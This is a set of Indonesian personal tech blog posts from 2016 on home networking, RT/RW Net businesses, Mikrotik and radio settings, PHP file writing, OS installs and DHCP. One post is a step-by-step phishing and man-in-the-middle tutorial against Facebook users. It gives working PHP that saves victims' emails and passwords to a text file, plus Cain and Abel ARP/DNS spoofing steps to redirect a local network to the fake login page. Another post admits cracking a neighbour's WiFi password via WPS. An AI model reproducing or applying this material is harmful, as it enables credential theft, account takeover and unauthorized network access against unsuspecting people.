24 May 2016

Lagi-lagi Bikin RT/RW Net Sistem Voucher

  9 comments
RT/RW Net Sistem Voucher merupakan usaha yang lumayan menjanjikan, sebelumnya saya sudah pernah membuat yang serupa di tempat tinggal saya yang lama, dan alhamdulillah sampai sekarang masih terus beroperasi walaupun saya sekarang tidak lagi berada di tempat tersebut. Pengelolaannya pun saya wariskan kepada teman saya, dan tiap bulan saya sering mengunjungi tempat lama saya untuk mengambil pendapatan sekaligus Maintenance jika ada perangkat yang bermasalah.

Posisi saya sekarang sudah lumayan jauh dari tempat tinggal asal saya, Setelah beberapa hari menempati tempat tinggal baru saya berfikir untuk membuka RT/RW Net lagi karena pasar yang menjanjikan. Tempat tinggal saya sekarang berada di daerah pinggiran Kota, walaupun jauh dari Kota ,ekonomi di tempat ini terbilang cepat semenjak berdirinya Beberapa Perusahaan Minyak di daerah ini. Sebagian besar Masyarakat ditempat ini bekerja di Perusahaan-perusahaan Besar tersebut dengan Sallary yang lumayan tinggi. Bukan maksud merendahkan, Namun masyarakat disini masih terbilang awam untuk dunia informatika, Barulah setelah Masuknya Perusahaan-perusahaan besar disini Masyarakatnya mulai Melek Internet ini dibuktikan dengan Sudah ramainya penggunaan smarthphone Android dibandingkan dahulu sebelum adanya perusahaan-perusahaan tersebut diatas.

Tolak ukur inilah yang mendasari saya ingin membuat RT/RW Net lagi ditempat ini. Apalah arti Smartphone Android Tanpa Internet. Kira-kira seperti itu kata yang cocok untuk saya gambarkan di kondisi saya sekarang ini. Telkom sebagai Salah satu ISP pun mulai membuka sayapnya ditempat ini, namun karena kurangnya pengetahuan Masyarakat tentang prosedur pemasangan jaringan dari telkom membuat kurang berkembangnya Jaringan telkom di tempat ini, Kesempatan ini  secepatnya saya manfaatkan dengan membangun RT/RW Net.

Kebutuhan Untuk membangun RT/RW Net pun terbilang Simpel, Karena baru mau mulai saya pun hanya menggunakan beberapa perangkat sederhana seperti :

  1. 1 Buah Modem (Dari Telkom)
  2. 1 Buah Mikrotik (RB750)
  3. 2 Buah Access Point ( TP-LINK WA5210G)
Perangkat2 tersebut pula yang dahulu saya gunakan di awal membangun RT/RW Net di tempat lama saya sampai akhirnya saya mengganti semua perangkat ditempat lama saya dengan menggunakan Perangkat UBNT

Langkah-langkah :
  • Harus punya seumber internet. Saya menggunakan Indihome (Telkom) dengan Bandwicth 3Mb dan biaya sekita 450rbu/ Bulan
  • Setting Router Mikrotik untuk dijadikan Server Hotspot
  • Setting TP-LINK WA5210G Menjadi Access Point alias pemancar Signal Wireless
  • Bikin Voucher menggunakan Fitur Userman yang ada di Mikrotik
  • Promosi dan Promosi :D
Simpel Kan ? untuk Settingan lebih detail tentang Step-step di atas bisa anda Bongkar isi Blog ini, karena sudah pernah saya tulis sebelumnya :D







Solusi Untuk Casing PC yang Nyetrum

  No comments
Pernakah anda menyentuh sebuah casing PC/Komputer yang menyetrum, Jika pernah berarti anda senasib dengan saya :D. Sebelum-sebelumnya saya sering kali merasakan setrum saat menyentuh Casing PC namun tegangan yang mengalir terbilang sangat kecil, karena rasanya waktu kesetrum hanya geli-geli gatal, namun belum lama ini salah satu PC saya setrumnya lebih kuat dari biasanya, bahkan jika saya prediksi, Tegangannya sama seperti waktu kesetrum langsung dari terminal.

Setelah Googling sana-sini saya akhirnya menemunkan secercah petunjuk menghilangkan Tegangan listrik yang ada di Casing PC yaitu dengan cara menetralkan Grounding. 

Langkah Kerjanya pun simpel cukup menyediakan Seutas Kabel (Panjang disesuaikan kebutuhan), dan Paku yang di Tancapkan di lantai atau dinding Beton rumah anda. Anda tinggal menyambungkan kabel Ke Paku Yang sudah di pasang di dinding dan ujung kabel satunya lagi dihubungkan di salah satu Baut yang ada di Casing PC/Komputer

Teori ini belum bisa saya jelaskan Cara kerjanya, karena saya kurang memahami dunia Kelistrikan, Yang penting tujuan saya yaitu menghilangkan Listrik dari Casing PC sudah bisa teratasi.

22 May 2016

Cara Setting Modem ADSL2 Gateway Linksys AG241 V2

  No comments
Tulisan ini masih berhubungan dengan tulisan saya sebelumnya tentang "Pemilihan Adaptor" . Beberapa jam yang lalu sebelum saya menulis Artikel ini saya mengalami Kesalahan Pemilihan adaptor yang menyebabkan rusak dan tidak berfungsinya Switch saya,akhirnya saya coba bongkar gudang untuk mencari Sparepart yang mungkin bisa dipakai sementara untuk menggantikan fungsi switch yang rusak sebelumnya, dan ternyata yang bisa saya dapati di gudang hanyalah ADSL2 Linksys AG241 ini yang mana notabenenya perangkat ini berfungsi sebagai Modem, namun bukan berarti tidak bisa digunakan untuk menjadi switch,karena pada dasarnya Perangkat ini memiliki 4 Port LAN yang fungsinya sebagai Switch.

Yup masalah pun setengah teratasi, karena Fungsi switch yang sebelumnya diperankan Oleh D-LINK Model 1008A kini bisa digantikan oleh Linksys AG241 ini walaupun hanya untuk 4 Port Ethernet saja. ada sedikit rasa rugi yang dihati saya karena Perangkat yang tadinya ditujukan untuk fungsi yang lebih besar (Gateway) malah hanya saya gunakan menjadi Switch(Bridge). itulah yang mendasari saya menulis artikel ini, saya mencoba melakukan setting pada Linksys AG241 ini untuk difungsikan menjadi fungsi awalnya yaitu Modem ADSL. walaupun sebenarnya saya tidak membutuhkanya karena peran modem di tempat saya sudah diambil alih oleh modem ZyXel dari telkom.ya paling tidak saya bisa mendapatkan pengalaman melakukan Setting pada AG241 ini dan bisa dishare kepada teman-teman sekalian. 

Perlu diketahui, mungkin sekarang ini sudah agak jarang ditemui perangkat LinkSys ini karena seingat saya Modem tipe seperti ini digunakan di tahun 2009 dahulu, dan sekarang AG241 ini sudah mulai hilang dipasaran karena digantikan oleh modem-modem lain yang memiliki fitur-fitur yang lebih canggih, sebut saja beberapa merk modem TP-Link yang sudah dilengkapi dengan Wireless didalmnya sehingga tidak dibuthkanya lagi Perangkat Access Point Tambahan

Oke dari pada kepanjangan Ceritanya mending langsung Go :D

  • Nyalakan Modem LinkSys AG241 dengan memasang power adaptor dan dilanjutkan dengan menekan tombol Power On pada LinkSys AG241 ini
  • Hubungkan Kabel LAN pada Port AG241 dengan Laptop/PC anda
  • Atur IP PC/Laptop anda menjadi 192.168.1.2 karena IP AG241 defaultnya adalah 192.168.1.1
  • Buka Browser (Mozilla/Chrome) lalu buka 192.168.1.1 
  • selanjutnya masukan username & password default AG241 yaitu admin : admin
  • dihalaman Setup ikuti petunjuk dibawah ini
Encapsulation pilih RFC 2516 PPPoE
Multiplexing Pilih LLC
Qos Type Pilih UBR
Auto detect pilih disable
VPI 8 dan VCI 81
Isikan username yang diperloleh dari telkom dan passwordnya

  • Scrol kebawah untuk settingan selanjutny dan ikuti gambar dibawah ini
  • Cek Halaman Status untuk melihat status Koneksi anda 

Selesai :D

Berhati-hatilah Memilih Power Adaptor Untuk Perangkat Anda

  No comments

Tulisan kali ini membahas tentang Pemilihan adaptor untuk Perangkat Jaringan anda seperti Modem,Router, Switch/Hub dll. Walaupun sebenarnya ketelitian untuk pemilihan adaptor berlaku untuk semua perangkat elektronika, namun kali ini saya hanya akan membahas sedikit tentang Perangkat jaringan saja.

Tulisan ini berdasarkan pengalaman pribadi saya, yang mengakibatkan beberapa perangkat saya rusak karena kurang paham dan kurang telitinya saya untuk memilih adaptor, maka dari itu saya menulis artikel ini sebagai pembelajaran buat teman-teman agar tidak mengalami hal yang sama seperti saya.

Ditempat saya ada beberapa perangkat jaringan, mulai dari Modem ZyXel (Telkom), Mikrotik RB750, Switch D-LINK 8 Port Model DES-1008A, Wireless Router Linksys WRT54GL, ADSL2 Gateway LinkSys AG241, Switch D-LINK 8 Port Model DES-1008D, TP-Link WA5210G, Bullet M2, Nano Bridge M2, Engenius ENH200EXT, NanoStation M5, AirGrid M5, Mikrotik SXT-5Hnd, Nano Loco M5, TP-Link 7210, Rocket M2, dan ditambah 2 Buah STB Merk ZTE dari Telkom.

Bisa anda bayangkan berapa banyak adaptor dari kesemuaan Perangkat di atas, saking banyaknya saya kadang bingung/Lupa adaptor yang mana untuk perangkat yang mana, walaupun ada beberapa perangkat yang adaptornya pun ada merk yang sama seperti perangkat, namun ada juga yang tidak ada label/Merk, inilah yang menyebabkan kerusakan Fatal pada beberapa perangkat saya dikarenakan Tegangan yang dihasilkan Oleh sebuah adaptor ternyata berbeda-beda tiap perangkat, saya ambil contoh Switch D-LINK Model DES-1008A dan Switch D-LINK Model DES-1008D, Jika dilihat memang bentuk fisiknya sudah jelas beda, namun saya berfikir karena sama Merek dan sama-sama memiliki 8 port saya pun menggunakan adaptor D-Link Model DES-1008D untu Swtich D-LINK Model DES-1008A. Alhasil Rusaklah Switch tersebut, Karena kelebihan tegangan. 

D-Link DES-1008D
D-Link DES-1008D
D-Link DES-1008A
D-Link DES-1008A

Indikator kerusakan terlihat pada Lampu LED yang ada di Switch mati/nyala tidak beraturan, dan jika dihubungkan ke PC/Laptop pun tidak terdeteksi, setelah saya perhatikan ternyata batas Tegangan yang di butuhkan oleh Switch D-Link Model DES-1008A adalah sebesar 5V sedangkan adaptor D-Link Model DES-1008D adalah 7.5V yang artinya ada kelebihan tegangan. Karena itu saya sarankan kepada anda agar lebih cermat saat akan menggunakan adaptor untuk perangkat anda, Sebaiknya anda baca dahulu Label Tegangan yang tertulis di perangkat tersebut, namun jika tidak ada alangkah baiknya anda Searching dulu di google Spesifikasi lengkap tentang Perangkat anda agar nantinya tidak salah atau berlebihan memberikan tegangan pada perangkat anda. 

Sekali lagi saya ingatkan untuk lebih cermat dalam pemilihan adaptor, karena bisa saja Jack atau ujung Adaptor Cocok/pas dengan perangkat lain namun kebutuhan tegangan tiap perangkat pasti ada peredaan. maka dari itu, tolak ukur bukan pada Jack/konetor namun pada tegangan yang dihasilkan oleh power adaptor tersebut.


Sekian dan Terima Kasih :D

21 May 2016

Bikin Blog Wordpress AGC Gratis

  No comments
Beberapa bulan lalu sempat booming yang namanya AGC dikalangan para blogger dan Pemain adsense, walaupun sebenarnya AGC sudah lama ada jauh-jauh hari sebelum saya terjun ke dunia Blog. AGC Sendiri merupakan singkatan dari Auto Generate Content atau bahasa mudahnya Blog Yang otomatis memposting artikel tanpa harus ada manusia sebagai operator/administrator yang mengetik artikel. Kemudahan inilah yang mendasari digunakanya AGC untuk para pemain adsense dengan asumsi semakin banyak artikel semakin besar kemungkinan mendatangkan pengunjung , dan dengan demikian kemungkinan bertambahnya pendapatan dari google adsense pun semakin besar.

AGC sendiri adalah sebuah Plugin untuk Platform Wordpress. salah satu penyedia Plugin yang terkenal adalah DOJO yang mengeluarkan Plugin AGC dengan nama StupidPie, Namun sayangnya plugin ini tidak gratis alias ada maharnya. karena kebiasaan saya yang suka dengan yang gratis maka saya pun mencoba mencari Plugin AGC yang Free dan akhirnya berhasil saya gunakan diblog Wordpress saya.

Nama pluginnya adalah WP-Automatic yang bisa anda download dan langsung diinstall di wordpress anda tanpa harus mengeluarkan Kocek sepeserpun. Penggunaanya pun terbilang simpel, Blog saya saja yang belum lama saya buat kini sudah memiliki sekitar 1000 postingan, yang tidak ada satupun hasil ketikan saya sendiri, anda bisa mengeceknya di www.computika.web.id . 

Menulis di dalam Sebuah File Menggunakan PHP

  No comments
PHP, Selain penggunaan MySQL untuk database pada sebuah aplikasi PHP ternyata PHP pun bisa menulis data dalam sebuah file yang bisa saja file tersebut merupakan Database pengganti MySQL dengan menggunakan fungsi Fputs() dan Fwrite()

Penulisan fungsi Fputs() dan Fwrite() adalah seperti ini
fputs(file,string,panjang) atau fwrite(file,string,panjang)

Keterangan :
  • File - Merupakan File Handler yang akan diisi (Wajib ditulis)
  • String - Merupakan Isi Text yang akan di isi ke dalam File
  • Panjang - Merupakan nilai untuk menentukan nilai max byte yang akan di isi ke File (Optional)

Jika Fputs dan Fwrite Fungsinya untuk Menulis, Maka adalagi fungsi Fopen yang gunanya untuk membaca isi dari File dan menampilkanya di PHP

Untuk Fopen ada 2 Mode yang tersedia saat akan menulis didalam sebuah file yaitu Mode W dan Mode A
Perbedaan keduanya adalah :

  • Mode W = Seluruh isi File akan dihapus dan di ganti dengan text baru yang barusan di input
  • Mode A = Isi File tidak akan dihapus, Data yang baru di isi akan di taruh di baris awal File

Contoh :

<body>  
<form enctype="multipart/form-data" action="" method="POST"> 
    <textarea cols="30" rows="5" name="text"></textarea> 
    <input type="submit" name="enter" value="Tambahkan" /> 
</form>   
<?php 
if(isset($_POST["enter"])) 

    $text=$_POST["text"]; 
    $file = fopen("hasil.txt","a");     
    if($file) 
    { 
    fputs($file,"\n".$text); 
    } 
    fclose($file);  
}   
    echo "<b></b>Isi dari file Hasil.txt sekarang:</b><br />"; 
    $file = fopen("hasil.txt","r");     
    while(! feof($file))     
    {     
        echo fgets($file). "<br />";     
    }     
    fclose($file);  
?>     
</body>      
</html> 
 


Sekian & Terima Kasih :D

Sniffing Password Facebook

  No comments
Sniffing adalah sebuah aktivitas untuk melakukan penyadapan, sehingga jika dihubungkan dengan Judul diatas maka tutorial kali ini saya akan membagi pengalaman untuk menyadap Password Facebook menggunakan Metode Man In The Middle dan Phising. Man In The Middle atau biasa disingkat dengan MITM sendiri adalah sebuah Tekhnik yang digunakan yang kira-kira maksudnya adalah sebuah metode dimana seorang hacker akan berada di jalur antara User dan Host. selanjutnya Phising bermakna sebuah metode untuk medapatkan User Credential menggunakan akun/halaman palsu sehingga User terkecoh dengan informasi palsu yang kita gunakan.

Jika merujuk pada judul postingan ini, maka tutorial ini mengajarkan bagaimana anda bisa mendapatkan User Credential (Username & Password) dengan cara menipu User untuk masuk ke sebuah situs yang mirip dengan Facebook sehingga user tersebut memasukan User Credential nya ke situs palsu yang telah kita buat dan otomatis User Credential tadi tersimpan di dalam sebuah file yang telah kita siapkan sebelumnya.
Alur kerja dari Tekhnik/Metode ini kira-kira seperti ini, Saat user mengakses sebuah Website kita ambil contoh facebook, maka seorang Hacker/Attacker akan melakukan Poison (Meracuni) di sebuah jaringan yang berakibat jika ada user yang mengakses situ www.facebook.com maka akan di arahkan Ke Komputer Host lain yang di dalamnya sudah tersimpan halaman Fake Login yang tampilanya mirip dengan tampilan Facebook asli. Selanjutnya jika user tersebut melakukan proses login di halaman Fake Login tersebut maka data User Credentialnya akan tersimpan otomatis.

Yang Dibutuhkan :
  • Cain And Able
  • Web Server Seperti XAMPP,WAMPP,AppServ atau yang lainya
  • Script Fake Login 
Penggunaan Web Server sebenarnya Optional alias tidak harus, Karena bisa saja anda menggunakan Hostingan Sebagai tempat menyimpan File Fake login anda, namun karena alasan Efisiensi makanya saya menyarankan anda untuk membuat web server Local sendiri menggunakan Aplikasi tersebut diatas dengan tujuan untuk mempercepat tampilnya halaman Fake Login tanpa harus mengarah ke IP/Komputer Host Online. 

Untuk Fake Login Sendiri cara mendapatkanya sebenarnya cukup simpel yaitu cukup dengan menyimpan halaman Login asli dan memodifikasi sedikit perintah PHP nya.

Proses Pembuatan Halaman Fake Login Facebook
  • Buka Situs Facebook
  • Save halaman tersebut dengan menekan tombol CTRL + S Dikeyboard anda lalu beri nama index.html
  • Simpan Halaman & Folder yang anda telah download tadi ke directory Webserver anda
  • Buat 2 buah file dengan nama tangkap.php dan hasil.txt 
  • tempatkan 2 file tersebut bersama dengan halaman Facebook yang sudah anda download sebelumnya

  • Buka halaman Facebook yang sudah didownload sebelumnya menggunakan Notepad atau Notepad++
  • Edit Action Form login
  • Menjadi seperti dibawah ini

  • Isi kode di bawah ini ke dalam file tangkap.php
<?php
$email = $_POST['email'];
$pass  = $_POST['pass'];

    $text=$_POST["text"]; 
    $file = fopen("hasil.txt","a");     
    if($file) 
    { 
    fputs($file,"\n Email: ".$email); 
    fputs($file,"\n Password :".$pass); 
    fputs($file,"\n"); 
    } 
    fclose($file);        
?>         

<script language="javascript">document.location.href='http://www.facebook.com';</script>       
  • Silahkan dicoba dahulu dengan mengakses halaman fake login anda dari browser

Proses Poisoning
  • Setelah didownload dan diinstall, Buka Cain And Abel
  • Klik Start Sniffer (Lingkar Merah)
  • Cek IP Komputer Anda
  • Pindah Ke Tab Sniffer (Yang saya Blok Berwarna Kuning)
  • Klik APR (Lingkar Biru)
  • Lalu Klik APR-DNS (Lingkar Merah)
  • Klik Tambah (Tombol Plus Lingkar Kuning)
  • DNS Name Requested di isi www.facebook.com
  • IP Address To Rewrite di isi IP Komputer kita (192.168.0.101)
  • Klik OK

  • Klik Hosts (Ujung Kiri Bawah, Sebelah APR)
  • Klik Kanan dan Pilih Scan MAC Address
  • Kembali Ke TAB APR lalu klik menu APR
  • Klik Tambah (Tombol Plus)
  • Lalu Klik OK
  • Klik Start/Stop APR (Lingkar Biru)
Selesai. Hasilnya, Jika ada komputer/Laptop/HP di dalam jaringan anda yang ingin mengakses www.facebook.com maka akan di belok kan ke Halaman FaKe Login yang anda simpan di direktori webserver anda, dan otomatis username/email dan password yang di input orang tersebut akan disimpan di dalam File hasil.txt

Just Info : Seperti ini cara konfigurasi agar Hotspot Mikrotik jalan Bersamaan dengan UseeTv Indihome dalam satu Jaringan Wireless

Sekian Dan terima Kasih :D





20 May 2016

Setting EnGenius ENH200EXT Sebagai Client

  No comments
Hari ini bertepatan dengan pindahnya saya ke tempat tinggal baru, saya ingin menceritakan sedikit pengalaman Saya tentunya seputar Jaringan Wireless. Ceritanya ditempat tinggal baru saya, saya belum punya koneksi internet, Berbekal sedikit trik mencari password menggunakan Metode WPS yang pernah saya tulis sebelumnya dan Bermodalkan Antena wireless EnGenius ENH200EXT saya pun bisa berinternet ria :D. Membobol passwordnya Jangan dicontoh , cukup settingan EnGeniusnya saja yang dicontoh :D.

Tutorial Setting ENH200EXT akan saya jelaskan menggunkan Gambar

Gambar diatas adalah halaman Awal/Default/Index ENH200EXT
Selanjutnya Perhatikan gambar dibawah ini


Setelah mengklik "Site Survey" Anda akan di hadapakan pada tampilan berupa List Wireless yang ada di sekitar anda, pilih salah satu yang ingin anda hubungkan dengan ENH200EXT anda. Setelah itu anda akan dikembalikan ke halaman sebelumnya, lalu akhiri lanngkah ini dengan memilih Tombol Save
Di Menu ini sebenarnya tidak harus (Optional) karena Posisi radio kita yang menjadi Bridge maka settingan IP tidak mutlak dilakukan, namun tetap perlu agar anda masih bisa mengakses radio EnGenius Anda, caranya dengan mengisi IP secara Manual/Static
Sampailah Pada langkah terakhir, dengan masuk ke menu Save/Reload lalu klik Save


Sekian dan Terima Kasih 


 

19 May 2016

Install Ulang Laptop / PC / OS Dengan Flashdisk / USB

  No comments
Sambil Nunggu download selesai saya pengen nulis sebuah Tutorial sederhana yang mungkin sudah banyak orang yang tahu, karena saya sendiri sudah mengetahui dan mempraktekanya sejak 6 Tahun lalu tepatnya ketika duduk dibangku kuliah Semester 1 dahulu yaitu tentang install ulang laptop menggunakan flashdisk.

Install Laptop/PC Via USB/Flashdisk merupakan sebuah trik yang praktis, karena jika dahulu orang melakukan instalasi OS ke sebuah Laptop/PC menggunakan media Kaset, hal itu kurang efisien menurut saya dikarenakan beberapa Hal
  1. Harga Kaset
  2. Sisi Kualitas
  3. Ketersediaan CD-ROM
  4. Kapasitas Penyimpanan Kaset
  5. Ukuran Fisik Kaset 
Harga Kaset yang terbilang murah dibandingkan dengan Flashdisk memang menjadi Keunggulan namun Jika untuk menyimpan 2 OS dalam 1 CD membutuhkan 2 buah CD atau 1 Buah DVD maka hal tidak berlaku untuk Flashdisk, inilah yang menjadikan Flashdisk Lebih unggul ketimbang CD/DVD dari segi Harga

Kualitas disini maksudnya adalah, Media kaset berupa CD/DVD lebih besar resiko rusaknya, bisa saja Kaset rusak karena tergores atau patah dan tidak bisa digunakan lagi, beda halnya dengan Flashdisk yang sangat kecil kejadian ada Flashdisk Patah 

Ketersediaan CD-ROM pun menjadi yang paling penting, karena kini telah banyak hadir Laptop/Notebook yang tidak dilengkapi dengan CD-ROM sehingga penggunaan Kaset menjadi tidak dimungkinkan kecuali ada CD-ROM External, sedangkan untuk Flashdisk, Sampai hari ini belum ada Laptop atau PC yang saya jumpai tanpa ada Port USBnya

Kapasitas Penyimpanan  Kaset terbilang kecil, seperti CD-R yang hanya berkisar sekitar 600Mb ini tentunya tidak bisa digunakan untuk menyimpan File Windows 7 yang berukuran sekitar 2Gb, atau jika menggunakan DVDR yang berukuran sekitar 4Gb tetap tidak Cukup untuk menyimpan 2 Buah OS secara bersamaan Contoh Windows 7 dan Kali Linux. 

Ukuran Fisik menjadi hal paling menonjol, karena dengan Flashdisk yang bisa disimpan dikantong membuat kita bisa lebih mudah menyimpannya, berbanding terbalik dengan kaset yang harus disimpan dalam Wadahnya yang ukuranya sebesar kaset itu pula. 

Masih ada lagi beberapa Hal lain yang jadi pertimbangan, namun untuk saat ini mungkin cukup itu saja yang dibahas kali ini. langsung To The Point aja ya :D

untuk Membuat Media Booting menggunakan USB/Flashdisk yang dibutuhkan adalah
  1. USB Flashdisk Ukuran minimal 4GB
  2. File OS (Windows/Linux)
  3. Komputer/Laptop
  4. Software YUMI MultiBoot (Download)
Semakin besar kapasitas Flashdisk semakin bagus, karena bisa digunakan untuk menyimpan beberapa OS Sekaligus Seperti dalam 1 flashdisk bisa anda simpan Windows XP,Windows Vista, Windows 7, Linux Ubuntu,Linux Backtrack, Linux Kali dan lain-lain

Setelah Software Yumi MultiBoot di download, anda tinggal menjalankan aplikasi tersebut tanpa harus menginstallnya (Portable) dan anda tinggal memilih Flashdisk dan OS apa yang ingin anda simpan kedalam Flashdisk tersebut lalu Klik Create, Setelah Proses Create selesai, Flahdisk anda sudah bisa digunakan untuk melakukan Instalasi layaknya menggunakan CD/Kaset caranya pun sama persis seperti instalasi menggunakan CD, hanya saja di Menu BOOT di BIOS yang diprioritaskan atau didahulukan di proses adalah USB (Removable Disk) bukan Harddisk ataupun CD-ROM :D


Berikut tampilan Yumi MultiBoot Jika running Saat Booting, disitu anda bisa memilih OS apa yang ingin diinstall di Laptop/PC Anda

SEKIAN DAN TERIMA KASIH 



Download Driver VGA HIS 5450 SP3-41F-A

  No comments
Hari ini saya dapat rejeki lagi, kebetulan dikasih VGA Card sama teman, waktu dikasih ga ada Dusnya jadinya saya gak tau Merk dan Typenya, tapi di Kipasnya ada tulisan HIS dan ada beberapa angka/kode yang tertera di belakangnya. Nah kode-kode tersebutlah yang menjadi modal saya untuk mencari driver yang cocok untuk VGA ini

SP3-41F-A
SP3G02001
M11-186
LF1151S
23EY4187MA12
H545FR1G

Saya coba ketik SP3-41F-A di Google, dari beberapa hasil pencarian di google, ada 1 yang langsung menarik perhatian saya, yaitu Blog ini karena hanya Blog inilah yang berbahasa indonesia dari Hasil pencarian Google tadi.

Namun ada sedikit perbedaan, di Blog tersebut Judulnya "Driver SP3-41-C" sedangkan yang saya cari "SP3-41F-A" , namun tetap saja saya mendownload driver yang disuguhkan Oleh Blog tersebut, Alhasil Berhasil VGA Card berhasil terinstall Drivernya 
Namun ada sedikit masalah baru, yaitu Fitur Aero yang ada di windows 7 tidak berfungsi setelah saya menggunakan Driver dan VGA ini,
Saya kurang mengerti maksudnya dari Pesan diatas itu apa, saya hanya berasumsi mungkin ada sedikit ketidak Cocokan driver atau mungkin Driver yang saya gunakan sudah usang sehingga masalah ini muncul, akhirnya saya memutuskan untuk Searching lebih jauh di google untuk driver VGA ini menggunakan bekal beberapa Kata kunci yang ada di Awal postingan saya. Alhasil sayapun berlabuh di Situs resmi VGA ini yang beralamatkan di www.hisdigital.com dan disinilah saya mendapatkan Driver yang Pas untuk VGA ini, dan Syukurnya Masalah Aero windows 7 tadi pun bisa Teratasi.



14 May 2016

Penjelasan Mode Wireless Pada Perangkat Radio Wireless

  No comments
Penjelasan Mode Wireless Pada Perangkat Radio Wireless - Saat kita sudah pernah melakukan konfigurasi pada salah satu Merk,Type Radio AP maka akan sangat mudah untuk kita jika diminta untuk mengkonfigurasinya kembali. Namun saat di hadapkan dengan Radio AP yang berbeda, Mungkin kita akan sedikit kebingungan,Hal ini pernah terjadi pada saya pribadi. Saya merasa bingung saat menetukan Mode pada Menu Wireless di halaman Konfigurasi Radio tersebut, Yang sebelumnya saya hanya mendapati 2 atau bahkan 1 pilihan yaitu Mode "AP" atau "Client" namun di Radio AP Lain ada beberapa Tambahan. Untuk itulah saya akan sharing sedikit pengetahuan saya berdasarkan pengalaman dan referensi dari sana-sini.

Penjelasan Mode Wireless Pada Perangkat Radio Wireless


  1. AP / AP Mode - Pada mode ini Radio bertindak sebagai Pemancar dan dalam Kondisi Bridge, artinya, Proses Routing tidak terjadi di Radio dan Radio hanya bertugas untuk menjadi jembatan penghubung antara Klien Dengan Router 
  2. AP Router - Pada Mode ini Radio bertindak sebagai pemancar dan juga Router
  3. Client - Radio Hanya akan menjadi Penerima
  4. AP WDS (Wireless Distribution System) - Artinya Radio sedang menjalankan fungsi ganda, yaitu menerima dan memancarkan signal untuk diteruskan, mode ini sering digunakan untuk bisnis RT/RW Net untuk memperluas wilayah jangkauan, untuk mode ini tidak semua Merk Radio Memilikinya, jadi untuk Menggunakan mode WDS, Pastikan Radio Pasanganya pun mensupport Mode Ini.
  5. Repeater - Sebenarnya mode ini hampir sama persis dengan WDS, namun yang membedakan, Port LAN pada Radio tidak bisa lagi digunakan, beda halnya dengan WDS, yang Port LAN tetap bisa digunakan
  6. Universal Repeater - Sama Dengan Repeater, Perbedaanya untuk mode Repeater hanya bisa digunakan untuk Radio Sama Merk contoh TP-Link, namun jika Radio Pusatnya adalah Merk Ubiquiti (UBNT) dan Radio yang akan digunakan Menjadi repeater adalah TP-LINK maka kita harus memilih Mode Universal Repater
  7. Bridge (PTP/PTMP) - Sebenarnya mode ini sama saja dengan Mode AP WDS, Hanya berbeda tulisan, Mode ini akan kita dapati di Radio Merk TP-LINK
Mungkin Itu dulu yang bisa saya share :D
Jika ada tambahan silahkan di komentari, begitupun jika ada yang keliru dengan tulisan saya :D

Pengertian DHCP dan Konfigurasi DHCP Server Mikrotik

  2 comments
Di Beberapa Post saya sebelumnya (Jika anda membacanya) sudah beberapa kali saya menyinggung Bahkan sedikit Membahas tentang Pengertian DHCP. Contohnya saja Pada Tutorial saya tentang Dasar Konfigurasi RB750 Sebenarnya sudah di Bahas tentang Konfigurasi DHCP Server Mikrotik namun tidak saya jelaskan Secara Rinci dan Pada Kesempatan ini saya akan mencoba membahas Lebih detail Tentang Pengertian dan Konfigurasi DHCP Pada Mikrotik
Pengertian DHCP dan Konfigurasi DHCP Server Mikrotik

DHCP  (Dynamic Host Configuration Protocol) Adalah sebuah Sistem Pengalamatan Atau Pendistribusian IP Address Secara otomatis. Komputer atau perangkat jaringan Yang bertugas memberikan Konfigurasi IP Address Kepada Komputer atau perangkat Lain biasa disebut dengan Komputer DHCP Server. Sedangkan Komputer atau Perangkat Jaringan yang Merequest atau meminta Konfigurasi IP Address disebut Komputer DHCP Client.
Selain DHCP Server dan DHCP Client sebenarnya masih ada satu lagi Jenis DHCP, Yaitu DHCP Relay, DHCP Relay Mungkin kurang akrab di telinga kita Karena memang DHCP Relay sangat jarang digunakan namun walaupun jarang digunakan DHCP Relay ini sangat membantu untuk Arsitektur jaringan dalam skala besar. Cara kerja DHCP Relay adalah Meneruskan DHCP Request yang dikirimkan dari DHCP Client Ke DHCP Server, Selanjutnya Respon yang diberikan Oleh DHCP Server akan di teruskan ke DHCP Client melalui DHCP Relay



FYI : Tutorial Ini saya Ambil dari Blog Saya yang Lama yaitu www.sekolah-jaringan.blogspot.com. Blog saya tersebut sudah tidak lagi saya gunakan yang menyebabkan saya harus memindah Isi artikel yang ada Blog tersebut Ke Blog saya Yang ini (catatan lamers). perlu diingat saya tidak Mencopy Paste dari Artikel Orang lain, Melainkan Dari Blog Saya Sendiri !!!!



Untuk Mempermudah Pemahaman tentang DHCP Relay Anda bisa melihat Gambar di bawah ini
Pengertian DHCP dan Konfigurasi DHCP Server Mikrotik


Cara Kerja DHCP

Cara Kerja DHCP
  • IP Least Request - Merupakan proses saat client meminta nomor IP ke server (broadcast mencari DHCP server).
  • IP Least Offer - DHCP menjawab dengan memberikan nomor IP yang ada di database DHCP. 
  • IP Lease Selection - Client memilih penawaran DHCP server yang pertama diterima dan kembali melakukan broadcast dengan message menyetujui peminjaman tersebut kepada DHCP Server.
  • IP Lease Acknowledge - DHCP server memberikan jawaban atas pesan tersebut berupa konfirmasi no IP dan informasi lain kepada client dengan sebuah ACKnowledgment. Setelah server memberikan nomor IP, maka server meminjamkan (lease) nomor IP yang ada ke DHCP client dan mencoret nomor IP tersebut dari daftar pool.
  • Lease Period - Pemakaian DHCP Client tersebut dinyatakan selesai, nomor IP tersebut dikembalikan kepada DHCP server, dan server dapat memberikan nomor IP tersebut kepada client yang membutuhkan.

Kelebihan DHCP Server

  1. Memudahkan dalam transfer data kepada PC client lain atau PC server.
  2. Memudahkan seorang administrator jaringan dalam memberikan nomor ip address secara otomatis di komputer dalam jaringan tanpa harus mengisi secara manual.
  3. Menyediakan alamat-alamat IP secara dinamis dan konfigurasi lain. 
  4. Didesain untuk melayani network yang besar dan konfigurasi TCP/IP yang kompleks.
  5. Memungkinkan suatu client menggunakan alamat IP yang reusable, artinya alamat IP tersebut bisa dipakai oleh client yang lain jika client tersebut tidak sedang menggunakannya (off).
  6. Memungkinkan suatu client menggunakan satu alamat IP untuk jangka waktu tertentu dari server.
  7. Memberikan satu alamat IP dan parameter-parameter kofigurasi lainnya kepada client, seperti DNS Server & Default Gateway.
  8. Mencegah terjadinya IP Conflict

Kekurangan DHCP Server

  1. Semua pemberian IP bergantung pada server, maka dari hal itu jika server mati maka semua komputer akan disconnect dan saling tidak terhubung.
